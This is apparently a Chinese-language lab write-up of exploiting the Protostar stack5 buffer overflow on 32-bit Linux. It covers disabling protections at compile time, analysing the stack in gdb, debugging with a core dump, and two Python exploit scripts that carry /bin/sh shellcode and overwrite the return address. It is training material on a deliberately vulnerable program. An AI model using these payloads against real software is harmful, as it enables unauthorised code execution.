0x000 环境和工具
Linux:
Linux 5.3.0-28-generic #30~18.04.1-Ubuntu SMP Fri Jan 17 06:14:09 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
工具:
apt-get install gdb gcc python
0x100 源代码
代码来自 protostar stack5:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
0x200 编译并反汇编
编译命令:
#gcc -g -O0 -o vul2 -fno-stack-protector -zexecstack ./stack5.c -z norelro -m32
检查安全编译选项打开情况:
#checksec ./vul2
gdb -q ./vul2
(gdb) disassemble main
代码执行时栈空间变化及含义解析
实际的内存布局如下所示
从上图可以看出:
- 局部变量buffer的起始地址为0xffffd040,随后为保存的寄存器值。只需要将buffer和保存的寄存器值填充满就可以覆盖到返回地址。
- 由于Function Epilogue是通过0x56555535 <main+56> lea esp,[ecx-0x4]来获取返回地址的位置,并非leave指令,故ecx的值必须要比返回地址所在的位置多四个字节。在上述图示中ecx=0xffffd0a0
0x300第一次尝试
从0xffffd040位置开始注入shellcode(这是错误的注入方式)
#exploit.py
import struct
import sys
shellcode="\xeb\x07\x5b\x31\xc0\xb0\x0b\xcd\x80\xe8\xf4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
padding="A"*43
ecx = struct.pack("I",0xffffd090)
ebx = struct.pack("I",0x00000000)
ebp = struct.pack("I",0x00000000)
payload = struct.pack("I",0xffffd040)
print shellcode+padding+ecx+ebx+ebp+payload
#python ./exploit.py > /tmp/1
执行利用代码,发现会core
通过gdb调试发现,返回地址已经被0xffffd040正确覆盖了,但当执行到shellcode位置时会死循环。
分析思路一:首先怀疑利用代码是否有问题,通过hexedit查看如下:
# hexedit /tmp/1
发现使用print命令生成利用代码时,会在结尾处增加一个字节。是否时这个问题导致的?
先删除掉OA看看
# vim -b /tmp/1
在vim中执行xxd命令转换成16进制
:%!xxd
删除掉OA
通过:%!xxd -r 转回二进制格式
再次执行利用代码,但还是会出现Core,无法弹出shell。
分析思路二:怀疑是不是shellcode有问题,即从http://shell-storm.org/shellcode/复制的shellcode是否无法在当前环境上执行,于是又换了多个shellcode尝试,都失败。为了确定所执行的shellcode是否正确,执行了如下比对:
- 从网站上拷贝汇编代码,将其保存为.asm文件,而非直接使用其二进制shellcode;
- 若汇编代码为intel格式,则使用nasm -o shell.o shell.asm -felf32将其编译为二进制目标代码;
- objcopy -O binary shell.o code提取目标文件中的可执行代码;
- xxd -i code 输出头文件格式的二进制shellcode
- Vim去除其格式后比较发现shellcode是一致的
- 通过下面方式执行shellcode能正常反弹shell
结论:shellcode本身没有问题,排除此疑点。
分析思路三:对比网上其它栈溢出利用代码的注入方式,发现shellcode应该放在返回地址后,而不应该放在溢出点,因为在溢出的函数返回后,溢出点的栈空间已经无效了,shellcode注入到此空间中在执行时会出现非法访问或导致程序进入死循环。
0x400第二次尝试
#exploit2.py
import struct
import sys
padding="A"*64
ecx = struct.pack("I",0xffffd090)
ebx = struct.pack("I",0x00000000)
ebp = struct.pack("I",0x00000000)
payload = struct.pack("I",0xffffd090)
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
sys.stdout.write(padding+ecx+ebx+ebp+payload+shellcode)
#python ./exploit2.py > /tmp/2
# ./vul2 < /tmp/2
Segmentation fault
发现还是core掉了,
由于程序直接执行时的环境变量与调试时有差异,会导致栈空间地址变化,注入利用代码后会出现core。此时需要通过调试Core Dump文件来确定准确的位置。若没有core文件,需要进行如下操作:
1.用ulimit -c命令确定是否允许产生core文件,若为0,则不生成core文件,需要通过ulimit -c unlimited将其设置为允许产生core文件,该设置仅在当前会话中生效,若要长期有效,需要保存在配置文件中:打开文件/etc/profile 然后在最末尾添加一行 ulimit -c unlimited ,然后保存退出,使用命令 source /etc/profile 使其生效。
2.在/etc/sysctl.conf文件中通过设置如下两项指定core文件路径和名称
kernel.core_pattern=/var/core/%t-%e-%p-%c.core
kernel.core_uses_pid = 0
# gdb -c /var/core/1597226879-vul2-28491-18446744073709551615.core ./vul2
通过如下命令查看当前栈所存值的情况
从中可以判断直接执行vul2程序时,其buffer的起始地址为0xffffd080,返回地址位于0xffffd0cc,shellcode的起始地址为0ffffd0d0,故上述利用代码分别将
ecx = struct.pack("I",0xffffd090)
修改为
ecx = struct.pack("I",0xffffd0d0)
ebx = struct.pack("I",0x00000000)
ebp = struct.pack("I",0x00000000)
payload = struct.pack("I",0xffffd0d0)
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
sys.stdout.write(padding+ecx+ebx+ebp+payload+shellcode)
重新执行,没有产生错误,但也没有弹出shell
原因分析:
虽然shell开出来了,但由于vul2执行完整个命令就结束了,故需要通过如下方式保持命令的存在:
命令解释:
第一个cat将/tmp/2中的利用代码通过管道注入到vul2中将shell开出来
第二个cat等待用户的输入,并把输入通过管道传递到第一个cat所开shell中,并将其结果显示出来;